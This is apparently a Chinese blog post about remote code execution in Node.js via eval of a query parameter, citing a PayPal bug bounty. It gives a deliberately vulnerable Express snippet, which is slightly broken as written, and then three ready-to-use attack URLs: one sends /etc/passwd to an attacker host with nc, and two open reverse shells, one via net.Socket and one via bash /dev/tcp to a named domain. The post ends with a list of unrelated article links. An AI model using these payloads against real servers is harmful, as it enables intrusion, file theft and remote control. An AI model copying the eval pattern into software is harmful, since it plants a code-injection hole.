NodeJS远程代码执行


Posted in NodeJs onAugust 28, 2016

背景

@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。

测试

var express = require('express'); 
var app = express(); 
app.get('/', function (req, res) { 
  res.send('Hello eval(req.query.q));
  console.log(req.query.q);
});
app.listen(8080, function () { 
  console.log('Example listening on port 8080!');
});

任意文件读取

http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')

GET SHELL

http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

GET SHELL2

http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
NodeJs 相关文章推荐
Ubuntu中搭建Nodejs开发环境过程分享
Jun 01 NodeJs
nodejs URL模块操作URL相关方法介绍
Mar 03 NodeJs
你一定会收藏的Nodejs代码片段
Feb 04 NodeJs
Nodejs 搭建简单的Web服务器详解及实例
Nov 30 NodeJs
详解nodejs微信公众号开发——2.自动回复
Apr 10 NodeJs
详解nodejs中express搭建权限管理系统
Sep 15 NodeJs
nodejs实现截取上传视频中一帧作为预览图片
Dec 10 NodeJs
NodeJs 文件系统操作模块fs使用方法详解
Nov 26 NodeJs
详解NodeJS Https HSM双向认证实现
Mar 12 NodeJs
Nodejs中的require函数的具体使用方法
Apr 02 NodeJs
nodejs检测因特网是否断开的解决方案
Apr 17 NodeJs
分享node.js实现简单登录注册的具体代码
Apr 26 NodeJs
用NodeJS实现批量查询地理位置的经纬度接口
Aug 16 #NodeJs
使用nodejs中httpProxy代理时候出现404异常的解决方法
Aug 15 #NodeJs
NodeJs的优势和适合开发的程序
Aug 14 #NodeJs
在windows上用nodejs搭建静态文件服务器的简单方法
Aug 11 #NodeJs
Nodejs抓取html页面内容(推荐)
Aug 11 #NodeJs
用nodejs的实现原理和搭建服务器(动态)
Aug 10 #NodeJs
nodejs如何获取时间戳与时间差
Aug 03 #NodeJs
You might like
php操作MongoDB基础教程(连接、新增、修改、删除、查询)
2014/03/25 PHP
Win7下手动安装apache2.2、php5.4笔记
2015/04/03 PHP
PHP如何通过传引用的思想实现无限分类(代码简单)
2015/10/13 PHP
php处理复杂xml数据示例
2016/07/11 PHP
php源码 fsockopen获取网页内容实例详解
2016/09/24 PHP
PHP获取input输入框中的值去数据库比较显示出来
2016/11/16 PHP
thinkphp框架表单数组实现图片批量上传功能示例
2020/04/04 PHP
使用jquery实现简单的ajax
2013/07/08 Javascript
jquery()函数的三种语法介绍
2013/10/09 Javascript
jQuery设置和获取HTML、文本和值示例
2014/07/08 Javascript
js实现鼠标点击文本框自动选中内容的方法
2015/08/20 Javascript
两种方法解决javascript url post 特殊字符转义 + & #
2016/04/13 Javascript
利用select实现年月日三级联动的日期选择效果【推荐】
2016/12/13 Javascript
理解AngularJs篇:30分钟快速掌握AngularJs
2016/12/23 Javascript
Node.js制作简单聊天室
2017/01/12 Javascript
微信小程序 支付功能开发错误总结
2017/02/21 Javascript
Javascript实现异步编程的过程
2018/06/18 Javascript
原生js封装的ajax方法示例
2018/08/02 Javascript
详解微信小程序的 request 封装示例
2018/08/21 Javascript
Bootstrap模态对话框用法简单示例
2018/08/31 Javascript
详解vue文件中使用echarts.js的两种方式
2018/10/18 Javascript
layDate插件设置开始和结束时间
2018/11/15 Javascript
vue组件之间数据传递的方法实例分析
2019/02/12 Javascript
mock.js模拟前后台交互
2019/07/25 Javascript
python静态方法实例
2015/01/14 Python
pandas.DataFrame删除/选取含有特定数值的行或列实例
2018/11/07 Python
python实现代码审查自动回复消息
2021/02/01 Python
HTML5之WebGL 3D概述(下)—借助类库开发及框架介绍
2013/01/31 HTML / CSS
什么是会话Bean
2015/05/14 面试题
外贸英语专业求职信范文
2013/12/25 职场文书
销售演讲稿范文
2014/01/08 职场文书
社区工作者思想汇报
2014/01/13 职场文书
经贸日语专业自荐信
2014/09/02 职场文书
法院干警四风问题自我剖析材料
2014/09/29 职场文书
实习证明格式范文
2014/10/14 职场文书
大学生安全教育心得体会
2016/01/15 职场文书